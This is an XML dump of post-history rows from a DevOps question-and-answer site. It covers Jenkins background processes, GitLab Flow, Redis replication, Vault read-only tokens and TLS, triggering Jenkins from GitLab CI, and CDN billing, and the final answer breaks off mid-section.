  <row Id="16815" PostHistoryTypeId="5" PostId="5270" RevisionGUID="85f34cc3-eacb-4631-976d-0309d7caf2cd" CreationDate="2018-11-01T14:26:22.630" UserId="40" Comment="deleted 4 characters in body; edited title" Text="I want the Jenkins agent to **build** and **start** the server.&#xD;&#xA;&#xD;&#xA;I do this by specifying how to build and start the server in the *Build* step of the project configuration in **Bash**&#xD;&#xA;&#xD;&#xA;    echo &quot;Installing dependencies&quot;&#xD;&#xA;    npm install&#xD;&#xA;    echo &quot;Starting server&quot;&#xD;&#xA;    ./startscript.sh 3000 &amp; #this script will start the server with specified port&#xD;&#xA;&#xD;&#xA;**Why the ampsersand in `/startscript.sh 3000 &amp;`?**&#xD;&#xA;&#xD;&#xA;I noticed that without the ampersand `&amp;` in the last command, the server is started as expected (I can access it from browser). However, the Jenkins build hangs and cannot finish (because the script starts the server and won't return until the server is terminated).&#xD;&#xA;&#xD;&#xA;So I tried to fix this with adding the ampersand to make the script process runs in background. With this, Jenkins job successfully ends the build.&#xD;&#xA;&#xD;&#xA;**But adding the ampersand still doesn't fix**&#xD;&#xA;The server process is still terminated (it actually started because I checked the log and saw that it was started). I think that this might be because when Jenkins finishes building, it exits the shell and sends the **SIGHUP** to attached background jobs.&#xD;&#xA;&#xD;&#xA;**Adding nohub still doesn't fix**&#xD;&#xA;&#xD;&#xA;Running the last command with `nohup ./startscript.sh 3000 &amp;` still doesn't fix the bug.&#xD;&#xA;&#xD;&#xA;**Question**&#xD;&#xA;&#xD;&#xA;How to make the agent build then start the server.&#xD;&#xA;&#xD;&#xA;**Note**&#xD;&#xA;&#xD;&#xA;The console output of Jenkins builds shows both the command and the output of it (like the behaviour of the -x flag of the shell). And the last command was shown like this:&#xD;&#xA;&#xD;&#xA;    + nohup ./startscript.sh 3000&#xD;&#xA;    Finished: SUCCESS&#xD;&#xA;&#xD;&#xA;It doesn't show the ampersand `&amp;`... So I don't know if the ampersand was actually correctly interpreted during the run." ContentLicense="CC BY-SA 4.0" />
  <row Id="16816" PostHistoryTypeId="4" PostId="5270" RevisionGUID="85f34cc3-eacb-4631-976d-0309d7caf2cd" CreationDate="2018-11-01T14:26:22.630" UserId="40" Comment="deleted 4 characters in body; edited title" Text="How to make the Jenkins agent build then start the server?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16817" PostHistoryTypeId="50" PostId="4584" RevisionGUID="663bd7ab-1dbb-459d-8596-11ab4c3ec8be" CreationDate="2018-11-01T16:00:28.497" UserId="-1" />
  <row Id="16818" PostHistoryTypeId="2" PostId="5304" RevisionGUID="3e0078eb-bfee-44fd-a07b-06d4bb4a93c2" CreationDate="2018-11-01T17:27:04.967" UserId="10624" Text="Recently I’ve been looking into alternatives to the git flow branching model and since I’m already using GitLab, I stumbled upon their own branching model called GitLab flow. I’m currently trying to get my head around how to implement this properly for microservices. We will assume, that I am deploying all services to the same kubernetes cluster, each deployment should reside in its own namespace.&#xD;&#xA;&#xD;&#xA;If I understand this model correctly, one should continuously deploy the master branch to a staging environment and deploy tagged commits occasionally to the production environment. While this works properly if there are only two environments, I’d also like to make use of the dynamic environments available in GitLab, i.e. for each branch off of master, I want to be able to create a review deployment.&#xD;&#xA;&#xD;&#xA;Now if I have e.g. multiple microservices which make up a single application, what’s the best way to deploy all microservices to a separate kubernetes namespace for each branch, when pushing the repository of a single microservice using GitLab CI. I can’t think of a clean solution as soon as there are dynamic environments involved.&#xD;&#xA;&#xD;&#xA;How am I supposed to handle the above use case properly for microservices? Are there branching models / git workflows which work better for microservices?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16819" PostHistoryTypeId="1" PostId="5304" RevisionGUID="3e0078eb-bfee-44fd-a07b-06d4bb4a93c2" CreationDate="2018-11-01T17:27:04.967" UserId="10624" Text="How to implement GitLab Flow branching model for microservices?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16820" PostHistoryTypeId="3" PostId="5304" RevisionGUID="3e0078eb-bfee-44fd-a07b-06d4bb4a93c2" CreationDate="2018-11-01T17:27:04.967" UserId="10624" Text="&lt;git&gt;&lt;gitlab&gt;&lt;project-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16821" PostHistoryTypeId="5" PostId="5242" RevisionGUID="9506674d-8005-47d6-87cd-d0ad19ee95c0" CreationDate="2018-11-01T17:47:11.870" UserId="10469" Comment="Add markdown formatting for links, add &quot;and permissions ... normally&quot;" Text="The [su-exec](https://github.com/ncopa/su-exec) program in this script is actually the Alpine version created by Natanael Copa.&#xD;&#xA; &#xD;&#xA;It is installed from the [Dockerfile](https://github.com/31z4/zookeeper-docker/blob/d5d320f94212691bd6e60326e45c152ac6784210/3.4.10/Dockerfile) on line 6.&#xD;&#xA;&#xD;&#xA;The Alpine su-exec version is a substitute for [gosu](https://github.com/tianon/gosu). Both programs are used to enable execution of a command as a specific user with the same environment variables and permissions as would normally be available to the user. &#xD;&#xA;&#xD;&#xA;Thus you can effectively &quot;step down&quot; from root inside the container to run a specific command as a user and not as root.&#xD;&#xA;&#xD;&#xA;So, answering the question, the alternative solution in Ubuntu would be to install gosu itself, which has no dependencies." ContentLicense="CC BY-SA 4.0" />
  <row Id="16825" PostHistoryTypeId="2" PostId="5306" RevisionGUID="4e0ca7ae-2d07-4778-9b2e-3ac948226c0f" CreationDate="2018-11-01T18:40:03.637" UserDisplayName="user8517" Text="I am looking for some help with figuring out a way to take a Redis Docker image and then backup the volume it is connected to. This volume shows up when I do `docker volume ls | grep redis`. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I need this to be able to go onto a Ubuntu 16.04 LTS VM/docker host, reason for this is that the Redis Docker container is only a small part of our setup/application.&#xD;&#xA;&#xD;&#xA;I was doing some reading and Redis its self has replication but I want to avoid that and just do it at the volume level.&#xD;&#xA;&#xD;&#xA;Anyone have suggestions on how I could do this properly? The whole point/idea of this is that we need a DR plan and this factors into it. &#xD;&#xA;&#xD;&#xA;My best idea so far has been a rsync between the two servers I need the data on." ContentLicense="CC BY-SA 4.0" />
  <row Id="16826" PostHistoryTypeId="1" PostId="5306" RevisionGUID="4e0ca7ae-2d07-4778-9b2e-3ac948226c0f" CreationDate="2018-11-01T18:40:03.637" UserDisplayName="user8517" Text="Cross region replication for Redis Docker contianer" ContentLicense="CC BY-SA 4.0" />
  <row Id="16827" PostHistoryTypeId="3" PostId="5306" RevisionGUID="4e0ca7ae-2d07-4778-9b2e-3ac948226c0f" CreationDate="2018-11-01T18:40:03.637" UserDisplayName="user8517" Text="&lt;docker&gt;&lt;containers&gt;&lt;redis&gt;&lt;disaster-recovery-plans&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16828" PostHistoryTypeId="5" PostId="5306" RevisionGUID="9c3352b6-6a40-4047-909c-3cc098f4b4b1" CreationDate="2018-11-01T18:55:03.470" UserDisplayName="user8517" Comment="Better wording" Text="I am looking for some help with figuring out a way to take a Redis Docker image and then backup the volume it is connected to. This volume shows up when I do `docker volume ls | grep redis`. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I need this to be able to go onto a Ubuntu 16.04 LTS VM/docker host, reason for this is that the Redis Docker container is only a small part of our setup/application.&#xD;&#xA;&#xD;&#xA;I was doing some reading and Redis its self has replication but I want to avoid that and just do it at the volume level.&#xD;&#xA;&#xD;&#xA;We do have an SSH tunnel set up for another database sync.&#xD;&#xA;&#xD;&#xA;Anyone have suggestions on how I could do this properly? The whole point/idea of this is that we need a DR plan and this factors into it. &#xD;&#xA;&#xD;&#xA;My best idea so far has been a rsync between the two servers I need the data on, though I know that is not a good solution and want something a bit better.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16830" PostHistoryTypeId="50" PostId="4058" RevisionGUID="90571ebf-5cc8-408a-8f28-c56af64cfc1c" CreationDate="2018-11-01T22:00:27.667" UserId="-1" />
  <row Id="16831" PostHistoryTypeId="5" PostId="5304" RevisionGUID="02184431-2503-4e5d-be5a-72934d68cc61" CreationDate="2018-11-02T01:11:54.813" UserId="47" Comment="added 70 characters in body" Text="Recently I’ve been looking into alternatives to the git flow branching model and since I’m already using GitLab, I stumbled upon their own branching model called [GitLab flow][1]. I’m currently trying to get my head around how to implement this properly for microservices. We will assume, that I am deploying all services to the same kubernetes cluster, each deployment should reside in its own namespace.&#xD;&#xA;&#xD;&#xA;If I understand this model correctly, one should continuously deploy the master branch to a staging environment and deploy tagged commits occasionally to the production environment. While this works properly if there are only two environments, I’d also like to make use of the dynamic environments available in GitLab, i.e. for each branch off of master, I want to be able to create a review deployment.&#xD;&#xA;&#xD;&#xA;Now if I have e.g. multiple microservices which make up a single application, what’s the best way to deploy all microservices to a separate kubernetes namespace for each branch, when pushing the repository of a single microservice using GitLab CI. I can’t think of a clean solution as soon as there are dynamic environments involved.&#xD;&#xA;&#xD;&#xA;How am I supposed to handle the above use case properly for microservices? Are there branching models / git workflows which work better for microservices?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/workflow/gitlab_flow.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="16835" PostHistoryTypeId="2" PostId="5309" RevisionGUID="e300358f-eb82-44f5-88c8-a097b6fe751d" CreationDate="2018-11-02T06:39:57.197" UserId="7772" Text="Is there a way to undeploy or deactivate an AWS Lambda or must I either implement it myself or delete and later redeploy it to achieve the desired state? What I would like is similar to just &quot;undeploying it&quot; so that it can be deployed again later. " ContentLicense="CC BY-SA 4.0" />
  <row Id="16836" PostHistoryTypeId="1" PostId="5309" RevisionGUID="e300358f-eb82-44f5-88c8-a097b6fe751d" CreationDate="2018-11-02T06:39:57.197" UserId="7772" Text="Undeploy or deactivate an AWS Lambda" ContentLicense="CC BY-SA 4.0" />
  <row Id="16837" PostHistoryTypeId="3" PostId="5309" RevisionGUID="e300358f-eb82-44f5-88c8-a097b6fe751d" CreationDate="2018-11-02T06:39:57.197" UserId="7772" Text="&lt;aws-lambda&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16838" PostHistoryTypeId="2" PostId="5310" RevisionGUID="c00bff7d-0355-4c79-b029-ca58b4f48135" CreationDate="2018-11-02T07:47:18.300" UserId="354" Text="Typically people put their container volumes in something like S3 to replicate data. The typical strategy for disaster recovery would be to &#xD;&#xA;&#xD;&#xA;  1. Have a means to snapshot the data in the volume&#xD;&#xA;  1. Define endpoints where those snapshots can be stored, as [backing services](https://12factor.net/backing-services)&#xD;&#xA;  1. Pull in the latest version of the snapshot as part of the application startup&#xD;&#xA;&#xD;&#xA;For shared state, you should use the built-in replication functionality of the application, where it exists, _i.e._ https://redis.io/topics/replication" ContentLicense="CC BY-SA 4.0" />
  <row Id="16839" PostHistoryTypeId="2" PostId="5311" RevisionGUID="1fb193a9-5e12-4798-9508-8a73e588fd8e" CreationDate="2018-11-02T10:03:58.563" UserId="2412" Text="This mighty be a lengthy procedure but worth implementing, **creating child tokens to fetch information from Vault Server**.&#xD;&#xA;&#xD;&#xA;Execute following procedure at Vault Server.&#xD;&#xA;&#xD;&#xA;&gt; 1. Create policy to restrict the access for clients.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    cat auth-policy.hcl &#xD;&#xA;    path &quot;secret/*&quot; {&#xD;&#xA;      capabilities = [&quot;read&quot;]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; 2. Write the policy&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    vault policy write client-access auth-policy.hcl                         &#xD;&#xA;    Success! Uploaded policy: client-access &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; 3. Create token&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    vault token create -policy=client-access -period=768h                                    &#xD;&#xA;                                                                                    &#xD;&#xA;    Key                Value                                                        &#xD;&#xA;    ---                -----                                                        &#xD;&#xA;    token              *********************                         &#xD;&#xA;    token_accessor     *********************                         &#xD;&#xA;    token_duration     768h                                                         &#xD;&#xA;    token_renewable    true                                                         &#xD;&#xA;    token_policies     [client-access default]  &#xD;&#xA;    -----------------------------------------------&#xD;&#xA;    vault policy write client-access auth-policy.hcl                         &#xD;&#xA;    Success! Uploaded policy: client-access &#xD;&#xA;&#xD;&#xA;Configure `-period` in hours. Token should be renewed after configured period of time. Configure expiry period accordingly by considering `max_lease_ttl` and `default_lease_ttl` in `config.hcl`. &#xD;&#xA; &#xD;&#xA;Configure these parameters in `config.hcl` during Vault startup.&#xD;&#xA;&#xD;&#xA;    max_lease_ttl = &quot;1000h&quot;&#xD;&#xA;    default_lease_ttl = &quot;1000h&quot;&#xD;&#xA;&#xD;&#xA;Now using this child token, from your laptop/machine, you will be able to fetch the information from Vault server, using APIs.&#xD;&#xA;&#xD;&#xA;    $ curl -H &quot;X-Vault-Token: CHILD-TOKEN&quot; -X GET VAULT-URL/v1/secret/SECRET | jq&#xD;&#xA;      % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current&#xD;&#xA;                                     Dload  Upload   Total   Spent    Left  Speed&#xD;&#xA;    100   241  100   241    0     0    396      0 --:--:-- --:--:-- --:--:--   396&#xD;&#xA;    {&#xD;&#xA;      &quot;request_id&quot;: &quot;e53887a2-fe5a-2f27-2121-c716a697f0e8&quot;,&#xD;&#xA;      &quot;lease_id&quot;: &quot;&quot;,&#xD;&#xA;      &quot;renewable&quot;: false,&#xD;&#xA;      &quot;lease_duration&quot;: 25920000,&#xD;&#xA;      &quot;data&quot;: {&#xD;&#xA;        **************&#xD;&#xA;        **************&#xD;&#xA;      },&#xD;&#xA;      &quot;wrap_info&quot;: null,&#xD;&#xA;      &quot;warnings&quot;: null,&#xD;&#xA;      &quot;auth&quot;: null&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;With this child token, **users can only read the data but neither write or delete data as configured in `auth-policy`**.&#xD;&#xA;&#xD;&#xA;If you still want to secure child token you can save it in Jenkins credentials and will be fetched into bash script when build triggered.&#xD;&#xA;&#xD;&#xA;Hope this helps! Thanks." ContentLicense="CC BY-SA 4.0" />
  <row Id="16840" PostHistoryTypeId="2" PostId="5312" RevisionGUID="2c788720-28d8-4b85-9e38-61226e388459" CreationDate="2018-11-02T10:29:59.147" UserId="2412" Text="The set of errors are same that we have observed **during TLS integration in Vault**.&#xD;&#xA;&#xD;&#xA;As stated by @Colin, **change VAULT_ADDR to HTTPS**, VAULT_ADDR=https://mydomain.com &#xD;&#xA;&#xD;&#xA;Along with that **change listener tcp address in vault.hcl** as follows:&#xD;&#xA;&#xD;&#xA;    listener &quot;tcp&quot; {&#xD;&#xA;      address = &quot;0.0.0.0:8200&quot;&#xD;&#xA;      tls_disable = 0&#xD;&#xA;      tls_cert_file = &quot;***&quot;&#xD;&#xA;      tls_key_file = &quot;***&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Hope this works for you as well!" ContentLicense="CC BY-SA 4.0" />
  <row Id="16841" PostHistoryTypeId="2" PostId="5313" RevisionGUID="7bdc6ce4-691d-4fce-9ef0-df851645dfa5" CreationDate="2018-11-02T11:39:51.297" UserId="9049" Text="Here's the way I do it: no plugin required, just triggering Jenkins `api` from gitlab-ci.&#xD;&#xA;&#xD;&#xA;## Gitlab-CI&#xD;&#xA;&#xD;&#xA;I will assume you have a gitlab-ci runner installed and configured.&#xD;&#xA;&#xD;&#xA;First, you need to have a `.gitlab-ci.yml` file in your project having a basic structure such as:&#xD;&#xA;&#xD;&#xA;    stages:&#xD;&#xA;    - my-jenkins-trigger&#xD;&#xA;    variables:&#xD;&#xA;     MY_VARIABLE: &quot;EVERYTHING_IS_AWESOME&quot;&#xD;&#xA;     &#xD;&#xA;    my-jenkins-trigger-job:&#xD;&#xA;     stage: my-jenkins-trigger&#xD;&#xA;     script: curl -i -X POST --user JENKINS_USER:JENKINS_TOKEN JENKINS_JOB_URL/buildWithParameters?MY_JENK_PARAM=${MY_VARIABLE}&#xD;&#xA;&#xD;&#xA;In the above, I also assume &#xD;&#xA;&#xD;&#xA; - You have a Jenkins job somewhere at URL `JENKINS_JOB_URL`&#xD;&#xA; - this Jenkins job has a build parameter called `MY_VARIABLE`&#xD;&#xA; - `JENKINS_USER`, `JENKINS_TOKEN` are defined [*]&#xD;&#xA;&#xD;&#xA;## That simple?&#xD;&#xA;&#xD;&#xA;Well yes, but no...&#xD;&#xA;&#xD;&#xA;That is the rough structure. That script will merely trigger a Jenkins job and forget about it. You need to work a little more to monitor the job and feed its status back in Gitlab-CI, manage security and possibly get some commit info from gitlab to inject into your job.&#xD;&#xA;&#xD;&#xA;## Monitoring&#xD;&#xA;&#xD;&#xA;In order to have a proper monitoring, I recommand to write a full _trigger + monitor + return value_ script [** ] (in whatever language available or you're familiar with).&#xD;&#xA;&#xD;&#xA;Just start by triggering the job as I stated above.&#xD;&#xA;&#xD;&#xA;Then, run a `while` loop (don't forget to put it to `sleep` [***]) on&#xD;&#xA;&#xD;&#xA;    curl --silent --user JENKINS_USER:JENKINS_TOKEN JENKINS_JOB_URL/lastBuild/api/json | grep result\&quot;:null &gt; /dev/null&#xD;&#xA;&#xD;&#xA;until the result of this command is not `0`.&#xD;&#xA;&#xD;&#xA;Once the Jenkins job is finished, you would probably want to fetch the job's console in Gitlab&#xD;&#xA;&#xD;&#xA;    curl -i -X POST --user JENKINS_USER:JENKINS_TOKEN JENKINS_JOB_URL/lastBuild/consoleText&#xD;&#xA;&#xD;&#xA;Finally you may `curl` once more on `JENKINS_JOB_URL/lastBuild/api/json` but this time you `grep` it on `UNSTABLE`, `SUCCESS` or `FAILURE`.&#xD;&#xA;&#xD;&#xA;## Discussion&#xD;&#xA;&#xD;&#xA;By following the guidelines above, you can fully orchestrate Jenkins jobs from Gitlab-CI. I've posted a [long discussion](https://stackoverflow.com/questions/37429453/gitlab-ci-vs-jenkins/52855927#52855927) on why and when should you do this.&#xD;&#xA;&#xD;&#xA;I hope this will help you.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;[*] Your Gitlab project Settings &gt; CI/CD &gt; Secret vaiables  &#xD;&#xA;[** ] Of course I mean by that to **craft** a script nicely with params, functions, nice variable names, meaningful logs... You name it.  &#xD;&#xA;[***] I found a `sleep` of 20 seconds worked for me" ContentLicense="CC BY-SA 4.0" />
  <row Id="16842" PostHistoryTypeId="5" PostId="5306" RevisionGUID="92fb1136-29cf-45ee-a5a4-269f138a2d92" CreationDate="2018-11-02T11:48:09.197" UserId="354" Comment="minor edit to reflect that this is referring to the volume, not the container" Text="I am looking for some help with figuring out a way to take a Redis Docker image and then backup the volume it is connected to. This volume shows up when I do `docker volume ls | grep redis`. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I need this to be able to go onto a Ubuntu 16.04 LTS VM/docker host, reason for this is that the Redis Docker container is only a small part of our setup/application.&#xD;&#xA;&#xD;&#xA;I was doing some reading and Redis itself has replication, but I want to avoid that and just do it at the volume level.&#xD;&#xA;&#xD;&#xA;We do have an SSH tunnel set up for another database sync.&#xD;&#xA;&#xD;&#xA;Anyone have suggestions on how I could do this properly? The whole point/idea of this is that we need a DR plan and this factors into it. &#xD;&#xA;&#xD;&#xA;My best idea so far has been a rsync between the two servers I need the data on, though I know that is not a good solution and want something a bit better.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16843" PostHistoryTypeId="4" PostId="5306" RevisionGUID="92fb1136-29cf-45ee-a5a4-269f138a2d92" CreationDate="2018-11-02T11:48:09.197" UserId="354" Comment="minor edit to reflect that this is referring to the volume, not the container" Text="Cross region replication of Redis Docker container volumes" ContentLicense="CC BY-SA 4.0" />
  <row Id="16844" PostHistoryTypeId="24" PostId="5306" RevisionGUID="92fb1136-29cf-45ee-a5a4-269f138a2d92" CreationDate="2018-11-02T11:48:09.197" Comment="Proposed by 354 approved by -1 edit id of 830" ContentLicense="CC BY-SA 4.0" />
  <row Id="16845" PostHistoryTypeId="5" PostId="5306" RevisionGUID="446d8ca9-dfe9-4bfd-8c57-31ba8e3a0adb" CreationDate="2018-11-02T11:48:09.197" UserId="40" Comment="deleted 27 characters in body" Text="I am looking for some help with figuring out a way to take a Redis Docker image and then backup the volume it is connected to. This volume shows up when I do `docker volume ls | grep redis`. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I need this to be able to go onto a Ubuntu 16.04 LTS VM/docker host, reason for this is that the Redis Docker container is only a small part of our setup/application.&#xD;&#xA;&#xD;&#xA;I was doing some reading and Redis itself has replication, but I want to avoid that and just do it at the volume level.&#xD;&#xA;&#xD;&#xA;We do have an SSH tunnel set up for another database sync.&#xD;&#xA;&#xD;&#xA;How could I do this properly? The whole point/idea of this is that we need a DR plan and this factors into it. &#xD;&#xA;&#xD;&#xA;My best idea so far has been a rsync between the two servers I need the data on, though I know that is not a good solution and want something a bit better.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16846" PostHistoryTypeId="5" PostId="5306" RevisionGUID="19c9c3fa-dc13-45a9-b5ae-fc39df1599e3" CreationDate="2018-11-02T11:51:13.493" UserDisplayName="user8517" Comment="Changed question a bit to reflect current team's wishes" Text="I am looking for some help with figuring out a way to take a Redis Docker image and then do near real time replication of the data to another server maybe over an SSH tunnnel.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I need this to be able to go onto a Ubuntu 16.04 LTS VM/docker host, reason for this is OS limit is that the Redis Docker container is only a small part of our setup/application and the other major parts are not tested on anything else.&#xD;&#xA;&#xD;&#xA;I was doing some reading and Redis itself has replication, but I am not sure if this is the best way to go about doing it.&#xD;&#xA;&#xD;&#xA;We do have an SSH tunnel set up for another database sync.&#xD;&#xA;&#xD;&#xA;How could I do this properly? The whole point/idea of this is that we need a DR plan and this factors into it. &#xD;&#xA;&#xD;&#xA;My best idea so far has been a rsync between the two servers I need the data on, though I know that is not a good solution and want something a bit better.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16847" PostHistoryTypeId="4" PostId="5306" RevisionGUID="19c9c3fa-dc13-45a9-b5ae-fc39df1599e3" CreationDate="2018-11-02T11:51:13.493" UserDisplayName="user8517" Comment="Changed question a bit to reflect current team's wishes" Text="Cross region replication of Redis Docker container data" ContentLicense="CC BY-SA 4.0" />
  <row Id="16848" PostHistoryTypeId="2" PostId="5314" RevisionGUID="1c8ac797-1def-4a12-a3e2-51399d6c639f" CreationDate="2018-11-02T12:29:11.890" UserId="10637" Text="you can change the trigger working process and rewrite and re schedule the process. Which the way you want.&#xD;&#xA;it will work.&#xD;&#xA;&#xD;&#xA;Hope it helps." ContentLicense="CC BY-SA 4.0" />
  <row Id="16852" PostHistoryTypeId="2" PostId="5316" RevisionGUID="999e8000-6568-4c5a-b0e4-631ff1bee5dc" CreationDate="2018-11-02T16:40:45.730" UserId="497" Text="Try [Sparky](https://dev.to/melezhik/sparky---powerful-pocket-size-task-runner-server-in-crontab-style-2ed5). This is lightweight but powerful alternative to linux crontab. It comes with nice UI to see cronjob reports and statues. You can also run tasks remotely over ssh or through docker. The typical tasks you've mentioned are covered by existing [DSL](https://github.com/melezhik/sparrowdo/blob/master/core-dsl.md) ( written on Perl6 ), for example:&#xD;&#xA;&#xD;&#xA;&quot;Does a file, with a maximum age, exist on some network share?&quot;&#xD;&#xA;&#xD;&#xA;    bash &quot;find file.txt -mmin -10&quot;, %( expect_stdout =&gt; &quot;file.txt&quot; );&#xD;&#xA;&#xD;&#xA;&quot;Does the response-body of a HTTP-request match a specific regex?&quot;&#xD;&#xA;&#xD;&#xA;    http-ok 'http://sparrowhub.org', %( has-content =&gt; 'SparrowHub' );&#xD;&#xA;&#xD;&#xA;And yet if it's not enough it's easy to create extensions.&#xD;&#xA;&#xD;&#xA;PS Sparky only supports linux for now ...&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16853" PostHistoryTypeId="2" PostId="5317" RevisionGUID="e07a9f85-f4ff-473d-9d2e-c8cf1db42222" CreationDate="2018-11-02T16:46:27.033" UserId="8375" Text="We are currently investigating https://github.com/roboll/helmfile to easily sync Helm charts across namespace." ContentLicense="CC BY-SA 4.0" />
  <row Id="16864" PostHistoryTypeId="5" PostId="1589" RevisionGUID="3e3ddf25-73e1-48d6-9f99-b9adfbafdb3f" CreationDate="2018-11-02T19:50:59.083" UserId="210" Comment="deleted 1 character in body" Text="**Sysadmin vs. DevOps (personal view)**&#xD;&#xA;&#xD;&#xA;Some companies talk about Dev, Ops and Test. If something needs to be tested then they say: &quot;Test should do that&quot;. If something needs to be developed, Dev will do that and if software needs to be deployed, Ops will do that.&#xD;&#xA;&#xD;&#xA;In my opinion and what I have experienced at several companies is that this results in a &quot;throw it over the wall&quot; mindset that results in friction between people and teams. Personally, I sometimes feel that people work individually and say this is what I did, I have nothing to do instead of working as a team.&#xD;&#xA;&#xD;&#xA;According to me DevOps means that everybody in a team is responsible and busy with development, testing and operations. There is no I in a team and no separate departments. Everybody should release. Of course there are specialties, but in my opinion everybody should be able to do at least 25% of some work in every area. E.g. if someone was a Developer back in the day then one should be able to change some configuration management code, e.g. chef and deploy software.&#xD;&#xA;&#xD;&#xA;**References**&#xD;&#xA;&#xD;&#xA;Sysadmin&#xD;&#xA;&#xD;&#xA;According to [Wikipedia][1]:&#xD;&#xA;&#xD;&#xA;&gt; A system administrator, or sysadmin, is a person who is responsible&#xD;&#xA;&gt; for the upkeep, configuration, and reliable operation of computer&#xD;&#xA;&gt; systems; especially multi-user computers, such as servers.&#xD;&#xA;&gt; &#xD;&#xA;&gt; The system administrator seeks to ensure that the uptime, performance,&#xD;&#xA;&gt; resources, and security of the computers he or she manages meet the&#xD;&#xA;&gt; needs of the users, without exceeding the budget.&#xD;&#xA;&gt; &#xD;&#xA;&gt; To meet these needs, a system administrator may acquire, install, or&#xD;&#xA;&gt; upgrade computer components and software; provide routine automation;&#xD;&#xA;&gt; maintain security policies; troubleshoot; train or supervise staff; or&#xD;&#xA;&gt; offer technical support for projects.&#xD;&#xA;&#xD;&#xA;DevOps&#xD;&#xA;&#xD;&#xA;According to [Wikipedia][2]:&#xD;&#xA;&#xD;&#xA;&gt; DevOps (a clipped compound of &quot;development&quot; and &quot;operations&quot;) is a&#xD;&#xA;&gt; software development and delivery process that emphasizes&#xD;&#xA;&gt; communication and collaboration between product management, software&#xD;&#xA;&gt; development, and operations professionals. It supports this&#xD;&#xA;&gt; by automating and monitoring the process of software integration,&#xD;&#xA;&gt; testing, deployment, and infrastructure changes by establishing a&#xD;&#xA;&gt; culture and environment where building, testing, and releasing&#xD;&#xA;&gt; software can happen rapidly, frequently, and more reliably.&#xD;&#xA;&#xD;&#xA;[DevOps][3]&#xD;&#xA;&#xD;&#xA;[![enter image description here][4]][4]&#xD;&#xA;&#xD;&#xA;[DevOps Toolchain][5]&#xD;&#xA;&#xD;&#xA;[![enter image description here][6]][6]&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/System_administrator&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/DevOps&#xD;&#xA;  [3]: https://upload.wikimedia.org/wikipedia/commons/b/b5/Devops.svg&#xD;&#xA;  [4]: https://i.stack.imgur.com/tdlPb.png&#xD;&#xA;  [5]: https://upload.wikimedia.org/wikipedia/commons/0/05/Devops-toolchain.svg&#xD;&#xA;  [6]: https://i.stack.imgur.com/Lq9Xq.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="16865" PostHistoryTypeId="2" PostId="5319" RevisionGUID="4d8b1d19-3c62-4037-a389-d0d2ab5d59c2" CreationDate="2018-11-02T20:03:47.327" UserId="10646" Text="Part of the services I provide is the ability for my clients to download pictures I uploaded to a CDN network.&#xD;&#xA;The CDN network is a PaaS service I found online.&#xD;&#xA;I want to be able to distinguish between clients who download those pictures, so I can bill them by their usage.&#xD;&#xA;Does anyone know such CDN service, that allows to bill (or at least measure) the clients of their (the CDN's) users?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16866" PostHistoryTypeId="1" PostId="5319" RevisionGUID="4d8b1d19-3c62-4037-a389-d0d2ab5d59c2" CreationDate="2018-11-02T20:03:47.327" UserId="10646" Text="Billing my clients for CDN usage" ContentLicense="CC BY-SA 4.0" />
  <row Id="16867" PostHistoryTypeId="3" PostId="5319" RevisionGUID="4d8b1d19-3c62-4037-a389-d0d2ab5d59c2" CreationDate="2018-11-02T20:03:47.327" UserId="10646" Text="&lt;billing&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16868" PostHistoryTypeId="2" PostId="5320" RevisionGUID="c006594c-fb2e-4d73-b49e-e3cdfa42720e" CreationDate="2018-11-02T22:04:57.507" UserId="739" Text="I did something similar with Akamai a few years ago that might work for you and I have a Plan B in case this doesn't fit your needs.&#xD;&#xA;&#xD;&#xA;# Plan A&#xD;&#xA;&#xD;&#xA;* assign each client a unique hostname.  So you might have `client0001.example.com` and so on.&#xD;&#xA;* optionally, you can let the client create a `CNAME` within their domain.  I was doing this for ad creatives so I wanted blame for content to go the originators of the content.  Since it looks to end users like they were serving it from their own domain and my org was just in the middle of a CNAME chain that most people wouldn't notice I'm guessing the grief went where it belonged.&#xD;&#xA;* then within the CDN have the host headers map to your client ID's&#xD;&#xA;* get regular reports from the CDN for hits/bandwidth used per client ID&#xD;&#xA;* bill accordingly&#xD;&#xA;&#xD;&#xA;# Plan B&#xD;&#xA;&#xD;&#xA;If you don't want to do all of that mucking with DNS or if your provider won't do the sort of mapping described there's still a way to make this work:&#xD;&#xA;&#xD;&#xA;* give each client their own directory like `/cli0001/`, `/cli0002/`&#xD;&#xA;* write your own reporting that downloads the raw logs from the CDN provider and then pulls the client ID's out of each directory name and totals it all up for you.&#xD;&#xA;&#xD;&#xA;# Billing 